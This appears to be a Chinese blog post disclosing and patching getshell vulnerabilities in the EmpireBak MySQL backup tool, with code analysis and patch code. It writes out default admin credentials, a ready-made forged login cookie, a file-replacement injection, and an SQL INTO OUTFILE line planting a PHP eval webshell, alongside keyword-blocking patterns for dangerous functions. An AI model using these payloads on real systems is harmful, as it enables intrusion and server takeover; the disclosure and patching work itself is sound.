极品分享

帝国备份王(Empirebak) \class\functions.php、\class\combakfun.php 代码注入漏洞补丁

1. 漏洞描述


EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库,帝国备份王(Empirebak)存在较多GETSHELL漏洞,本文逐一讨论从进入后台到GETSHELL的各种方式


Relevant Link:


http://help.aliyun.com/knowledge_detail.htm?knowledgeId=5980885&categoryId=8314968


2. 漏洞触发条件


0x1: 默认弱口令进入后台


admin

123456

//默认安装弱口令


0x2: 伪造cookie登录后台


ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6 

ebak_bakrnd:35y5cCnnA4Kh 

ebak_bakusername:admin 

ebak_baklogintime:4070883661

//使用以上cookie即可直接访问admin.php 

使用firefox tamper data代理截包,访问下列网址


http://localhost/EmpireBak2010/admin.php

http://localhost/EmpireBak2010/DoSql.php

在tamper data暂停的时候,修改cookie值,如果不存在就添加cookie这一项,可以直接免登进入指定后台页面


Cookie=ebak_loginebakckpass=119770adb578053dcb383f67a81bcbc6;ebak_bakrnd=35y5cCnnA4Kh;ebak_bakusername=admin;ebak_baklogintime=4070883661

0x3: 后台"管理备份目录"创建xx.asp目录进行IIS解析漏洞GETSHELL


在新版帝国备份cms中已经修复,并且这个漏洞需要目标服务器是IIS,才存在这个漏洞,在实际情况中,大多数是PHP+APACHE的架构


0x4: 备份数据、替换目录文件内容GETHSLL

1. 登陆后先备份一次数据 
2. 备份时可选择备份到的目录,默认有个safemod  
3. 备份完毕后来到"管理备份目录",打包并下载 
//备份后的safemod目录下所有的表都是以PHP保存的4. 查看下载下来的备份文件的内容5. Empirebak"管理备份目录"下有个替换文件内容功能,选择和刚才下载的同一个目录,点击替换文件内容:http://www.xxx.com/diguo/RepFiletext.php?mypath=safemod 
6. 例如替换config.php的内容 
/*<?php
    $b_table="ecs_ad_custom";
    $tb[ecs_ad_custom]=1;

    $b_baktype=0;
    $b_filesize=300;
    $b_bakline=500;
    $b_autoauf=1;
    $b_dbname="test";
    $b_stru=1;
    $b_strufour=0;
    $b_dbchar="auto";
    $b_beover=0;
    $b_insertf="replace";
    $b_autofield=",,";
    $b_bakdatatype=0;
    ?>*/将字符: $b_bakdatatype=0;
替换为: 
$b_bakdatatype=0;
phpinfo();7. http://xxx/diguo/bdata/safemod/config.php 显示phpinfo内容,GETSHELL成功



下载.png

0x5: 执行自定义SQL导出GETSHELL

select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'c:/WEB ROOT PATH/xiaohan.php'

下载 (1).png


4. 漏洞代码分析

0x1: 伪造cookie登录后台

\admin.php

<?php
require('class/connect.php');
require('class/functions.php');//验证是否已经处于登录状态$lur=islogin();
$loginin=$lur['username'];
$rnd=$lur['rnd'];
require LoadAdminTemp('eadmin.php');?>


\class\functions.php

//是否登陆
function islogin($uname='',$urnd='')
{
    //die(var_dump($_COOKIE));
    $_COOKIE['ebak_loginebakckpass'] = "119770adb578053dcb383f67a81bcbc6"; 
    
    
    $_COOKIE['ebak_baklogintime'] = "4070883661";

    /*
    来自配置文件/class/config.php,漏洞的根源在于帝国CMS采用了默认值
    $set_username="admin";
    $set_outtime="60";
    */
    global $set_username, $set_outtime;
    //从$_COOKIE全局数组中获取bakusername,黑客注入的是: $_COOKIE['ebak_bakusername'] = "admin";
    $username = $uname ? $uname : getcvar('bakusername');
    //从$_COOKIE全局数组中获取bakrnd,黑客注入的是: $_COOKIE['ebak_bakrnd'] = "35y5cCnnA4Kh";
    $rnd = $urnd ? $urnd : getcvar('bakrnd'); 
    
    //正常通过
    if(empty($username) || empty($rnd))
    {
        printerror("NotLogin","index.php");
    }
    //黑客的目标是免登admin,这里一定相等
    if($username <> $set_username)
    {
        printerror("NotLogin","index.php");
    }
    /*
    验证cookie中的值
    $username = admin
    $rnd = 35y5cCnnA4Kh
    */
    Ebak_CHCookieRnd($username, $rnd); 

    $time=time();
    if($time-getcvar('baklogintime')>$set_outtime*60)
    {
        printerror("OutLogintime","index.php");
    }
    esetcookie("baklogintime",$time,0);
    $lr['username']=$username;
    $lr['rnd']=$rnd;
    return $lr;
}

\class\functions.php

//验证COOKIE认证function Ebak_CHCookieRnd($username,$rnd)
{    /*
    $set_loginrnd为config.php里面的验证随机码,漏洞的根源在于这是一个默认值: $set_loginrnd="YFfd33mV2MrKwDenkecYWZETWgUwMV";    */
    global $set_loginrnd; 
    //在默认值情况下,计算的结果永远是: $ckpass = 119770adb578053dcb383f67a81bcbc6
    $ckpass = md5(md5($rnd . $set_loginrnd).'-'.$rnd.'-'.$username.'-'); 
    //比较通过,判定为已登录,漏洞产生
    if($ckpass<>getcvar('loginebakckpass'))
    {
        printerror("NotLogin","index.php");
    }
}

0x2: 备份数据、替换目录文件内容GETHSLL

\phome.php

elseif($phome=="RepPathFiletext")//脤忙禄禄脛驴脗录脦脛录镁{ 
    Ebak_RepPathFiletext($_POST);
}

\class\combakfun.php

//替换文件内容function Ebak_RepPathFiletext($add)
{    global $bakpath;    //替换目标文件的路径
    $mypath=trim($add['mypath']);    //被替换的内容
    $oldword = Ebak_ClearAddsData($add['oldword']);    //用于替换的新内容
    $newword = Ebak_ClearAddsData($add['newword']);
    $dozz=(int)$add['dozz'];    if(empty($oldword)||empty($mypath))
    {
        printerror("EmptyRepPathFiletext","history.go(-1)");
    }    if(strstr($mypath,".."))
    {
        printerror("NotChangeRepPathFiletext","history.go(-1)");
    }
    $path=$bakpath."/".$mypath;    if(!file_exists($path))
    {
        printerror("PathNotExists","history.go(-1)");
    }
    $hand=@opendir($path);    //遍历目标目录的所有文件,逐一进行文本替换
    while($file=@readdir($hand))
    {
        $filename=$path."/".$file;          if($file!="."&&$file!=".."&&is_file($filename))
        {
            $value=ReadFiletext($filename);            if($dozz)
            {    
                //执行文本替换
                $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value);
            }            else
            {                if(!stristr($value,$oldword))
                {                    continue;
                }
                $newvalue=str_replace($oldword,$newword,$value);
            }
            WriteFiletext_n($filename,$newvalue);
        }
    }
    printerror("RepPathFiletextSuccess","RepFiletext.php");
}

\class\functions.php

//正则替换信息function Ebak_DoRepFiletextZz($oldword,$newword,$text)
{
    $zztext=Ebak_RepInfoZZ($oldword,"empire-bak-wm.chief-phome",0);    //无任何过滤,直接替换
    $text=preg_replace($zztext,$newword,$text);    return $text;
}

0x3: 执行自定义SQL导出GETSHELL

\phome.php

elseif($phome=="DoExecSql") 
{
    Ebak_DoExecSql($_POST);
}
elseif($phome=="DoTranExecSql") 
{
    $file=$_FILES['file']['tmp_name'];
    $file_name=$_FILES['file']['name'];
    $file_type=$_FILES['file']['type'];
    $file_size=$_FILES['file']['size'];
    Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$_POST);
}

\class\combakfun.php

//执行SQL语句function Ebak_DoExecSql($add)
{    global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char;
    $query = $add['query'];    if(!$query)
    {
        printerror("EmptyRunSql","history.go(-1)");
    }    //数据库
    if($add['mydbname'])
    {
        $empire->query("use `".$add['mydbname']."`");
    }    //编码
    if($add['mydbchar'])
    {
        DoSetDbChar($add['mydbchar']);
    }
    $query = Ebak_ClearAddsData($query);    //调用Ebak_DoRunQuery执行最终的SQL语句
    Ebak_DoRunQuery($query, $add['mydbchar'], $phome_db_ver);
    printerror("RunSqlSuccess","DoSql.php");
}//上传执行SQLfunction Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$add){    global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char;    if(!$file_name||!$file_size)
    {
        printerror("NotChangeSQLFile","history.go(-1)");
    }
    $filetype=GetFiletype($file_name);//取得扩展名
    if($filetype!=".sql")
    {
        printerror("NotTranSQLFile","history.go(-1)");
    }    //上传文件
    $newfile='tmp/uploadsql'.time().'.sql';
    $cp=Ebak_DoTranFile($file,$newfile);    if(empty($cp))
    {
        printerror("TranSQLFileFail","history.go(-1)");
    }
    $query=ReadFiletext($newfile);
    DelFiletext($newfile);    if(!$query)
    {
        printerror("EmptyRunSql","history.go(-1)");
    }    //数据库
    if($add['mydbname'])
    {
        $empire->query("use `".$add['mydbname']."`");
    }    //编码
    if($add['mydbchar'])
    {
        DoSetDbChar($add['mydbchar']);
    }    //调用Ebak_DoRunQuery执行最终的SQL语句
    Ebak_DoRunQuery($query,$add['mydbchar'],$phome_db_ver);
    printerror("RunSqlSuccess","DoSql.php");
}

\class\functions.php

//运行SQLfunction Ebak_DoRunQuery($sql,$mydbchar,$mydbver)
{
    $sql=str_replace("\r","\n",$sql);
    $ret=array();
    $num=0;    //执行多语句拆分
    foreach(explode(";\n",trim($sql)) as $query)
    {
        $queries=explode("\n",trim($query));        foreach($queries as $query)
        {
            $ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
        }
        $num++;
    }
    unset($sql);    foreach($ret as $query)
    {
        $query=trim($query);        if($query)
        {            if(substr($query,0,12)=='CREATE TABLE')
            {
                mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."<br>".$query);
            }            else
            {
                mysql_query($query) or die(mysql_error()."<br>".$query);
            }
        }
    }
}

5. 防御方法

0x1: 伪造cookie登录后台

从最佳安全实践的角度来说,基于cookie的免登验证应该使用session机制来进行
\class\functions.php

//设置COOKIE认证function Ebak_SCookieRnd($username,$rnd)
{    //基于SESSION进行免登验证    session_start();    global $set_loginrnd;  
    //在cookie中加入随机因子
    $ckpass = md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-'.mt_rand() ); 
    //SESSION记录
    $_SESSION['ckpass'] = $ckpass;
    esetcookie("loginebakckpass",$ckpass,0);
}//验证COOKIE认证function Ebak_CHCookieRnd($username,$rnd)
{    //基于SESSION进行免登验证    session_start(); 
    global $set_loginrnd;  
    //获取SESSION内容
    $ckpass = $_SESSION['ckpass']; 
    if($ckpass<>getcvar('loginebakckpass'))
    {
        printerror("NotLogin","index.php");
    }
}

0x2: 备份数据、替换目录文件内容GETHSLL

\class\combakfun.php

//替换文件内容function Ebak_RepPathFiletext($add)
{    global $bakpath;    //替换目标文件的路径
    $mypath=trim($add['mypath']);    //被替换的内容
    $oldword = Ebak_ClearAddsData($add['oldword']);    //用于替换的新内容
    $newword = Ebak_ClearAddsData($add['newword']);      /**/
    if( preg_match("/([^a-zA-Z0-9_]{1,1})+(extract|parse_str|str_replace|unserialize|ob_start|require|include|array_map|preg_replace|copy|fputs|fopen|file_put_contents|file_get_contents|fwrite|eval|phpinfo|assert|base64_decode|create_function|call_user_func)+( |\()/is", $newword) )
    {
        die("Request Error!");  
    }    /**/

    $dozz=(int)$add['dozz'];    if(empty($oldword)||empty($mypath))
    {
        printerror("EmptyRepPathFiletext","history.go(-1)");
    }    if(strstr($mypath,".."))
    {
        printerror("NotChangeRepPathFiletext","history.go(-1)");
    }
    $path=$bakpath."/".$mypath;    if(!file_exists($path))
    {
        printerror("PathNotExists","history.go(-1)");
    }
    $hand=@opendir($path);    //遍历目标目录的所有文件,逐一进行文本替换 
    while($file=@readdir($hand))
    { 
        $filename=$path."/".$file; 
          if($file!="."&&$file!=".."&&is_file($filename))
        { 
            $value=ReadFiletext($filename);            if($dozz)
            {    
                //执行文本替换
                $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value);
            }            else
            {                //待搜索的目标字符串没有出现,跳过当前文件
                if(!stristr($value,$oldword))
                { 
                    continue;
                }
                $newvalue=str_replace($oldword,$newword,$value); 
            }            /* inject check */ 
            $prePath = dirname(__FILE__) . DIRECTORY_SEPARATOR;  
            $url = "http://webshellcheck.oss-cn-hangzhou.aliyuncs.com/AliCheck.php";            if (file_exists($prePath . "AliCheck.php")) 
            {                //check whether is latest 
                if (ini_get('allow_url_fopen') == '1') 
                { 
                    $content = @file_get_contents($url);                    if (!empty($content)) 
                    {                        if ( md5($content) != md5_file($prePath . "AliCheck.php") ) 
                        { 
                            die("not equal");
                            file_put_contents($prePath . "AliCheck.php", $content); 
                        } 
                    }  
                } 
                include_once $prePath . "AliCheck.php";
                $scaner = new Pecker_Scanner();
                $scaner->scanFileContent($filename,$newvalue);
                $result = $scaner->getReport();  
                if (!empty($result[$filename]['function'])) 
                {  
                    die("Request Error!"); 
                } 
                $scaner = null; 
            } 
            else
            {                //file not exist, need download
                if (ini_get('allow_url_fopen') == '1') 
                {  
                    //check url is valid 
                    $content = @file_get_contents($url);                    if (!empty($content)) 
                    {
                        file_put_contents($prePath . "AliCheck.php", $content); 
                    } 
                }  
            }            /**/
            WriteFiletext_n($filename,$newvalue);
        } 
    }
    
    printerror("RepPathFiletextSuccess","RepFiletext.php");
}

0x3: 执行自定义SQL导出GETSHELL

\class\functions.php

//运行SQLfunction Ebak_DoRunQuery($sql,$mydbchar,$mydbver)
{
    $sql=str_replace("\r","\n",$sql);
    $ret=array();
    $num=0;    //执行多语句拆分
    foreach(explode(";\n",trim($sql)) as $query)
    {
        $queries=explode("\n",trim($query));        foreach($queries as $query)
        {
            $ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
        }
        $num++;
    }
    unset($sql);    foreach($ret as $query)
    {
        $query=trim($query);        if($query)
        {            /* SQL注入过滤 */
            if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $query, $matches))
            {
                echo "request error!" . "</br>" . $matches[0];
                die();
            }  
            /* */

            if(substr($query,0,12)=='CREATE TABLE')
            {
                mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."<br>".$query);
            }            else
            {
                mysql_query($query) or die(mysql_error()."<br>".$query);
            }
        }
    }
}

0x4: 关闭备份功能

一个最简单粗暴的方法就是直接关闭帝国备份
/phome.php

..
elseif($phome=="RepPathFiletext"){ 
    //Ebak_RepPathFiletext($_POST);
    die("request error!");
}
..



补丁下载:

EmpireBak帝国备份王补丁.rar

EmpireBak_已修复漏洞.rar


2016-07-14 0 /
PHP学习
/
标签: 

评论回复

回到顶部